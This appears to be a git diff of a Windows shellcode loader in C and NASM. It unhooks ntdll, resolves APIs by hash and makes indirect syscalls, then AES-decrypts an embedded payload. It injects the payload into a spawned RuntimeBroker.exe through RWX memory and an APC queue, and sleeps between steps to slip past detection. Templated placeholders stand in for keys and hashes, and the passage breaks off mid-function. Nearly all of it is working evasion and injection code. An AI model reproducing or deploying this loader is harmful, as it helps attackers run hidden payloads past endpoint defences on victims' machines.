||||
CHAR lpPath[MAX_PATH * 2];
|
||||
CHAR WnDr[MAX_PATH];
|
||||
|
||||
STARTUPINFO Si = { 0 };
|
||||
PROCESS_INFORMATION Pi = { 0 };
|
||||
|
||||
// Cleaning the structs by setting the element values to 0
|
||||
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
|
||||
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
// Setting the size of the structure
|
||||
Si.cb = sizeof(STARTUPINFO);
|
||||
|
||||
// Getting the %WINDIR% environment variable path (That is generally 'C:\Windows')
|
||||
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
|
||||
//printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Creating the target process path
|
||||
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
|
||||
|
||||
// API Hashing
|
||||
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
|
||||
|
||||
Sleep(15000);
|
||||
if(!cCPAu(
|
||||
NULL,
|
||||
lpPath,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
DEBUG_PROCESS, // Instead of CREATE_SUSPENDED
|
||||
NULL,
|
||||
NULL,
|
||||
&Si,
|
||||
&Pi)) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
// Filling up the OUTPUT parameter with CreateProcessA's output
|
||||
*dwProcessId = Pi.dwProcessId;
|
||||
*hProcess = Pi.hProcess;
|
||||
*hThread = Pi.hThread;
|
||||
|
||||
Sleep(5000);
|
||||
// Doing a check to verify we got everything we need
|
||||
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
|
||||
|
||||
SIZE_T sNumberOfBytesWritten = 0,
|
||||
sSize = sSizeOfShellcode;
|
||||
ULONG uOldProtection = 0;
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
if ((STATUS = NTAVM(hProcess, ppAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
|
||||
|
||||
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
|
||||
|
||||
if ((STATUS = NTWVM(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sSizeOfShellcode) {
|
||||
|
||||
printf("[!] NtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
|
||||
|
||||
|
||||
Sleep(2500);
|
||||
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
|
||||
|
||||
printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[+] Successfully changed memory region permission to RWX!\n");
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
#include <stdio.h>
|
||||
#include <Windows.h>
|
||||
|
||||
#include "whispers.h"
|
||||
#include "functions.h"
|
||||
#include "AES_128_CBC.h"
|
||||
|
||||
#define TARGET_PROCESS "RuntimeBroker.exe"
|
||||
|
||||
|
||||
uint8_t aes_k[16] = { #-KEY_VALUE-# };
|
||||
uint8_t aes_i[16] = { #-IV_VALUE-# };
|
||||
|
||||
|
||||
int main() {
|
||||
|
||||
PBYTE pEncPayload = NULL;
|
||||
SIZE_T sEncPayload = 0;
|
||||
|
||||
PVOID pClearText = NULL,
|
||||
pProcess = NULL;
|
||||
DWORD dwSizeOfClearText = 0,
|
||||
dwOldProtect = 0,
|
||||
dwProcessId = 0;
|
||||
AES_CTX ctx;
|
||||
|
||||
HANDLE hThread = NULL,
|
||||
hProcess = NULL;
|
||||
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
|
||||
printf("[+] Un-hooking Ntdll \n");
|
||||
LPVOID nt = MapNtdll();
|
||||
if (!nt)
|
||||
return -1;
|
||||
|
||||
if (!Unhook(nt))
|
||||
return -1;
|
||||
|
||||
Sleep(500);
|
||||
if (!GetContent(&pEncPayload, &sEncPayload)) {
|
||||
|
||||
printf("[-] Failed to get the data!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[+] PID: %d\n", GetCurrentProcessId());
|
||||
printf("[+] Got the content at position: 0x%p with size of %zu\n", pEncPayload, sEncPayload);
|
||||
|
||||
// Decryption routine
|
||||
printf("[i] Starting the decryption...\n");
|
||||
|
||||
Sleep(500);
|
||||
// Allocating memory to store the decrypted payload inside of pClearText
|
||||
pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);
|
||||
|
||||
printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
|
||||
printf("[-] Failed to create suspended process!\n");
|
||||
return -1;
|
||||
}
|
||||
printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
printf("[+] Payload executed!\n");
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,282 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "whispers.h"
|
||||
|
||||
typedef PVOID PACTIVATION_CONTEXT;
|
||||
typedef PVOID PRTL_USER_PROCESS_PARAMETERS;
|
||||
typedef PVOID PAPI_SET_NAMESPACE;
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
ULONG Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
PVOID Reserved3;
|
||||
UNICODE_STRING FullDllName;
|
||||
BYTE Reserved4[8];
|
||||
PVOID Reserved5[3];
|
||||
union {
|
||||
ULONG CheckSum;
|
||||
PVOID Reserved6;
|
||||
};
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
|
||||
typedef struct _PEB
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
union
|
||||
{
|
||||
BOOLEAN BitField;
|
||||
struct
|
||||
{
|
||||
BOOLEAN ImageUsesLargePages : 1;
|
||||
BOOLEAN IsProtectedProcess : 1;
|
||||
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||
BOOLEAN IsPackagedProcess : 1;
|
||||
BOOLEAN IsAppContainer : 1;
|
||||
BOOLEAN IsProtectedProcessLight : 1;
|
||||
BOOLEAN IsLongPathAwareProcess : 1;
|
||||
};
|
||||
};
|
||||
|
||||
HANDLE Mutant;
|
||||
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA Ldr;
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PRTL_CRITICAL_SECTION FastPebLock;
|
||||
PSLIST_HEADER AtlThunkSListPtr;
|
||||
PVOID IFEOKey;
|
||||
|
||||
union
|
||||
{
|
||||
ULONG CrossProcessFlags;
|
||||
struct
|
||||
{
|
||||
ULONG ProcessInJob : 1;
|
||||
ULONG ProcessInitializing : 1;
|
||||
ULONG ProcessUsingVEH : 1;
|
||||
ULONG ProcessUsingVCH : 1;
|
||||
ULONG ProcessUsingFTH : 1;
|
||||
ULONG ProcessPreviouslyThrottled : 1;
|
||||
ULONG ProcessCurrentlyThrottled : 1;
|
||||
ULONG ProcessImagesHotPatched : 1; // REDSTONE5
|
||||
ULONG ReservedBits0 : 24;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
PVOID KernelCallbackTable;
|
||||
PVOID UserSharedInfoPtr;
|
||||
};
|
||||
ULONG SystemReserved;
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PAPI_SET_NAMESPACE ApiSetMap;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[2];
|
||||
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID SharedData; // HotpatchInformation
|
||||
PVOID* ReadOnlyStaticServerData;
|
||||
|
||||
PVOID AnsiCodePageData; // PCPTABLEINFO
|
||||
PVOID OemCodePageData; // PCPTABLEINFO
|
||||
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
|
||||
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
|
||||
ULARGE_INTEGER CriticalSectionTimeout;
|
||||
SIZE_T HeapSegmentReserve;
|
||||
SIZE_T HeapSegmentCommit;
|
||||
SIZE_T HeapDeCommitTotalFreeThreshold;
|
||||
SIZE_T HeapDeCommitFreeBlockThreshold;
|
||||
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID* ProcessHeaps; // PHEAP
|
||||
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
ULONG GdiDCAttributeList;
|
||||
|
||||
PRTL_CRITICAL_SECTION LoaderLock;
|
||||
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
USHORT OSBuildNumber;
|
||||
USHORT OSCSDVersion;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubsystem;
|
||||
ULONG ImageSubsystemMajorVersion;
|
||||
ULONG ImageSubsystemMinorVersion;
|
||||
KAFFINITY ActiveProcessAffinityMask;
|
||||
ULONG GdiHandleBuffer[60];
|
||||
PVOID PostProcessInitRoutine;
|
||||
|
||||
PVOID TlsExpansionBitmap;
|
||||
ULONG TlsExpansionBitmapBits[32];
|
||||
|
||||
ULONG SessionId;
|
||||
|
||||
ULARGE_INTEGER AppCompatFlags;
|
||||
ULARGE_INTEGER AppCompatFlagsUser;
|
||||
PVOID pShimData;
|
||||
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
|
||||
|
||||
UNICODE_STRING CSDVersion;
|
||||
|
||||
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
|
||||
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
|
||||
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
|
||||
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
|
||||
|
||||
SIZE_T MinimumStackCommit;
|
||||
|
||||
PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex)
|
||||
PVOID PatchLoaderData;
|
||||
PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO
|
||||
|
||||
ULONG AppModelFeatureState;
|
||||
ULONG SpareUlongs[2];
|
||||
|
||||
USHORT ActiveCodePage;
|
||||
USHORT OemCodePage;
|
||||
USHORT UseCaseMapping;
|
||||
USHORT UnusedNlsField;
|
||||
|
||||
PVOID WerRegistrationData;
|
||||
PVOID WerShipAssertPtr;
|
||||
|
||||
union
|
||||
{
|
||||
PVOID pContextData; // WIN7
|
||||
PVOID pUnused; // WIN10
|
||||
PVOID EcCodeBitMap; // WIN11
|
||||
};
|
||||
|
||||
PVOID pImageHeaderHash;
|
||||
union
|
||||
{
|
||||
ULONG TracingFlags;
|
||||
struct
|
||||
{
|
||||
ULONG HeapTracingEnabled : 1;
|
||||
ULONG CritSecTracingEnabled : 1;
|
||||
ULONG LibLoaderTracingEnabled : 1;
|
||||
ULONG SpareTracingBits : 29;
|
||||
};
|
||||
};
|
||||
ULONGLONG CsrServerReadOnlySharedMemoryBase;
|
||||
PRTL_CRITICAL_SECTION TppWorkerpListLock;
|
||||
LIST_ENTRY TppWorkerpList;
|
||||
PVOID WaitOnAddressHashTable[128];
|
||||
PVOID TelemetryCoverageHeader; // REDSTONE3
|
||||
ULONG CloudFileFlags;
|
||||
ULONG CloudFileDiagFlags; // REDSTONE4
|
||||
CHAR PlaceholderCompatibilityMode;
|
||||
CHAR PlaceholderCompatibilityModeReserved[7];
|
||||
struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5
|
||||
union
|
||||
{
|
||||
ULONG LeapSecondFlags;
|
||||
struct
|
||||
{
|
||||
ULONG SixtySecondEnabled : 1;
|
||||
ULONG Reserved : 31;
|
||||
};
|
||||
};
|
||||
ULONG NtGlobalFlag2;
|
||||
ULONGLONG ExtendedFeatureDisableMask; // since WIN11
|
||||
} PEB, * PPEB;
|
||||
|
||||
typedef struct _AES {
|
||||
|
||||
PBYTE pPlainText; // base address of the plain text data
|
||||
DWORD dwPlainSize; // size of the plain text data
|
||||
|
||||
PBYTE pCipherText; // base address of the encrypted data
|
||||
DWORD dwCipherSize; // size of it (this can change from dwPlainSize in case there was padding)
|
||||
|
||||
PBYTE pKey; // the 32 byte key
|
||||
PBYTE pIv; // the 16 byte iv
|
||||
|
||||
} AES, * PAES;
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
|
||||
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION
|
||||
{
|
||||
ULONG NextEntryOffset;
|
||||
ULONG NumberOfThreads;
|
||||
LARGE_INTEGER WorkingSetPrivateSize; //VISTA
|
||||
ULONG HardFaultCount; //WIN7
|
||||
ULONG NumberOfThreadsHighWatermark; //WIN7
|
||||
ULONGLONG CycleTime; //WIN7
|
||||
LARGE_INTEGER CreateTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER KernelTime;
|
||||
UNICODE_STRING ImageName;
|
||||
KPRIORITY BasePriority;
|
||||
HANDLE UniqueProcessId;
|
||||
HANDLE InheritedFromUniqueProcessId;
|
||||
ULONG HandleCount;
|
||||
ULONG SessionId;
|
||||
ULONG_PTR PageDirectoryBase;
|
||||
|
||||
//
|
||||
// This part corresponds to VM_COUNTERS_EX.
|
||||
// NOTE: *NOT* THE SAME AS VM_COUNTERS!
|
||||
//
|
||||
SIZE_T PeakVirtualSize;
|
||||
SIZE_T VirtualSize;
|
||||
ULONG PageFaultCount;
|
||||
SIZE_T PeakWorkingSetSize;
|
||||
SIZE_T WorkingSetSize;
|
||||
SIZE_T QuotaPeakPagedPoolUsage;
|
||||
SIZE_T QuotaPagedPoolUsage;
|
||||
SIZE_T QuotaPeakNonPagedPoolUsage;
|
||||
SIZE_T QuotaNonPagedPoolUsage;
|
||||
SIZE_T PagefileUsage;
|
||||
SIZE_T PeakPagefileUsage;
|
||||
SIZE_T PrivatePageCount;
|
||||
|
||||
//
|
||||
// This part corresponds to IO_COUNTERS
|
||||
//
|
||||
LARGE_INTEGER ReadOperationCount;
|
||||
LARGE_INTEGER WriteOperationCount;
|
||||
LARGE_INTEGER OtherOperationCount;
|
||||
LARGE_INTEGER ReadTransferCount;
|
||||
LARGE_INTEGER WriteTransferCount;
|
||||
LARGE_INTEGER OtherTransferCount;
|
||||
// SYSTEM_THREAD_INFORMATION TH[1];
|
||||
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
/*
|
||||
|
||||
Original Author: SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#include "structs.h"
|
||||
#include "functions.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "ntdll")
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE)-1)
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
|
||||
typedef const UNICODE_STRING* PCUNICODE_STRING;
|
||||
|
||||
NTSYSAPI VOID RtlInitUnicodeString(
|
||||
PUNICODE_STRING DestinationString,
|
||||
__drv_aliasesMem PCWSTR SourceString
|
||||
);
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PCUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;
|
||||
PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
|
||||
typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)(
|
||||
HANDLE SectionHandle,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize,
|
||||
PLARGE_INTEGER SectionOffset,
|
||||
PSIZE_T ViewSize,
|
||||
DWORD InheritDisposition,
|
||||
ULONG AllocationType,
|
||||
ULONG Win32Protect
|
||||
);
|
||||
|
||||
NTSTATUS NtOpenSection(
|
||||
OUT PHANDLE SectionHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes
|
||||
);
|
||||
|
||||
#define InitializeObjectAttributes(p, n, a, r, s) { \
|
||||
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
|
||||
|
||||
LPVOID MapNtdll() {
|
||||
|
||||
UNICODE_STRING DestinationString;
|
||||
const wchar_t SourceString[] = { '\\','K','n','o','w','n','D','l','l','s','\\','n','t','d','l','l','.','d','l','l', 0 };
|
||||
|
||||
RtlInitUnicodeString(&DestinationString, SourceString);
|
||||
|
||||
OBJECT_ATTRIBUTES ObAt;
|
||||
InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
|
||||
|
||||
HANDLE hSection;
|
||||
NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt);
|
||||
if (!NT_SUCCESS(status1)) {
|
||||
printf("[!] Failed in NtOpenSection (%u)\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID pntdll = NULL;
|
||||
ULONG_PTR ViewSize = 0;
|
||||
|
||||
MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-NTMVOS_VALUE-#));
|
||||
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
|
||||
if (!NT_SUCCESS(status2)) {
|
||||
printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
|
||||
getchar();
|
||||
return NULL;
|
||||
}
|
||||
return pntdll;
|
||||
}
|
||||
|
||||
BOOL Unhook(LPVOID module) {
|
||||
|
||||
HANDLE hntdll = GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
|
||||
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew);
|
||||
if (!NTheader) {
|
||||
printf(" [-] Not a PE file\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
|
||||
DWORD oldprotect = 0;
|
||||
|
||||
for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
|
||||
|
||||
char txt[] = { '.','t','e','x','t', 0 };
|
||||
|
||||
if (!strcmp((char*)sectionHdr->Name, txt)) {
|
||||
BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
|
||||
if (!status1)
|
||||
return FALSE;
|
||||
|
||||
memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);
|
||||
|
||||
BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
|
||||
if (!status2)
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
; ===============================================================
|
||||
; NASM x64 version of your assembly.
|
||||
; Save as "whispers-asm.nasm", for example.
|
||||
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
|
||||
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
|
||||
; ===============================================================
|
||||
|
||||
bits 64 ; 64-bit code
|
||||
default rel ; Use RIP-relative addressing by default
|
||||
|
||||
section .text
|
||||
|
||||
; Export the labels so your C code can call them
|
||||
global NTAVM
|
||||
global NTPVM
|
||||
global NTWVM
|
||||
global NTQAT
|
||||
|
||||
; Declare external symbols (the calls to these are in your code)
|
||||
extern SW3_GetSyscallNumber
|
||||
extern SW3_GetRandomSyscallAddress
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTAVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTAVM:
|
||||
mov [rsp + 8], rcx ; Save registers
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0xC189CD1E ; Load function hash into ECX
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax ; Save the address of the syscall
|
||||
|
||||
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8] ; Restore registers
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11 ; Jump to -> Invoke system call
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTPVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTPVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x159D0313 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x159D0313 ; Re-load function hash
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTWVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTWVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x83179B97 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x83179B97
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTQAT
|
||||
; ---------------------------------------------------------------------------
|
||||
NTQAT:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x88AE129F ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x88AE129F
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; End of file
|
||||
@@ -0,0 +1,278 @@
|
||||
#include "whispers.h"
|
||||
#include <stdio.h>
|
||||
|
||||
//#define DEBUG
|
||||
|
||||
#define JUMPER
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
|
||||
return (PVOID)__readfsdword(0xC0);
|
||||
}
|
||||
|
||||
__declspec(naked) BOOL local_is_wow64(void)
|
||||
{
|
||||
__asm {
|
||||
mov eax, fs:[0xc0]
|
||||
test eax, eax
|
||||
jne wow64
|
||||
mov eax, 0
|
||||
ret
|
||||
wow64:
|
||||
mov eax, 1
|
||||
ret
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW3_SYSCALL_LIST SW3_SyscallList;
|
||||
|
||||
// SEARCH_AND_REPLACE
|
||||
#ifdef SEARCH_AND_REPLACE
|
||||
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
|
||||
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
|
||||
#endif
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW3_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
|
||||
Hash ^= PartialName + SW3_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#ifndef JUMPER
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
#else
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
DWORD searchLimit = 512;
|
||||
PVOID SyscallAddress;
|
||||
|
||||
#ifdef _WIN64
|
||||
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
|
||||
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x12;
|
||||
#else
|
||||
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
|
||||
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x0f;
|
||||
#endif
|
||||
|
||||
